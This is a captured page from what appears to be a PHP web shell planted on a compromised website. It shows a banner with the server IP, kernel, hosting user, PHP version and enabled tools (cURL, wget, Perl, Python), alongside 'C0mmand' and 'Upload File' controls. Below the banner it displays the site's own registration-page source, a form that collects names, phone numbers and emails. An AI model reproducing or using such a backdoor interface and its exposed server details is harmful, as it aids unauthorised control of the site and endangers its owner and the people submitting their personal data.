Server IP : 103.53.40.154 / Your IP : 18.219.231.197 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/samingpvtltd.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'headlinks.php';?> <?php include 'header.php';?> <style> .input input { width:100%; border:none; outline:none; padding:15px; margin-top:10px; margin-bottom:10px; } .input lable { margin:30px; color:white; font-weight:bolder; font-size:18px; } .input button { width:100%; } .input-check input { justify-content:start; margin:auto; margin:10px; width: 20px; height: 20px; } </style> <!-- Page Header Start --> <div class="container-fluid bg-dark p-5"> <div class="row"> <div class="col-12 text-center"> <h1 class="display-4 text-white">Registration</h1> <a href="">Home</a> <i class="far fa-square text-primary px-2"></i> <a href="">Registration</a> </div> </div> </div> <!-- Page Header End --> <div class="container bg-secondary p-3"> <div class="row g-0"> <div class="col-lg-6 p-3 mb-2"> <div class =""> <p>To register with Grow More Success, fill out the registration form.<br> After submitting your information, you will receive phone call to complete your registration.</p> <p>Yes, you can consult with a PP DAHIYA certified IBC member of Bada Business. <br> Bada Business is an international business consultancy that provides professional <br> advice and assistance to businesses of all sizes. The company has a team of experts who are certified IBC members and are available to provide advice and guidance to businesses in various areas of business, such as marketing, finance, legal, operations, and more. </p> </div> </div> <div class="col-lg-6"> <div class="h-100 d-flex flex-column justify-content-center bg-primary p-5"> <form action="mail.php" method="POST"> <div class="container"> <div class="row"> <div class=" col-6 input"> <lable>Name</lable> <input name="name" type="text" placeholder="Enter Your name" required> <input name="lead" type="hidden"> </div> <div class=" col-6 input"> <lable>Phone</lable> <input name="phn" type="phone" placeholder="Enter Your Number" required> </div> <div class=" col-6 input"> <lable>Alt Phone</lable> <input name="alt_phn" type="phone" placeholder="Enter Your alt Number" required> </div> <div class=" col-6 input"> <lable>Email</lable> <input name="email" type="email" placeholder="Enter Your E-mail" required> </div> <div class=" col-12 input-check"> <input type="checkbox" placeholder="" required ><span style ="color:black;">Term & Condition *</span> </div> <div class=" col-12 input"> <button class="btn btn-secondary">Register</button> </div> </div> </div> </form> </div> </div> </div> </div> <?php include 'footer.php';?>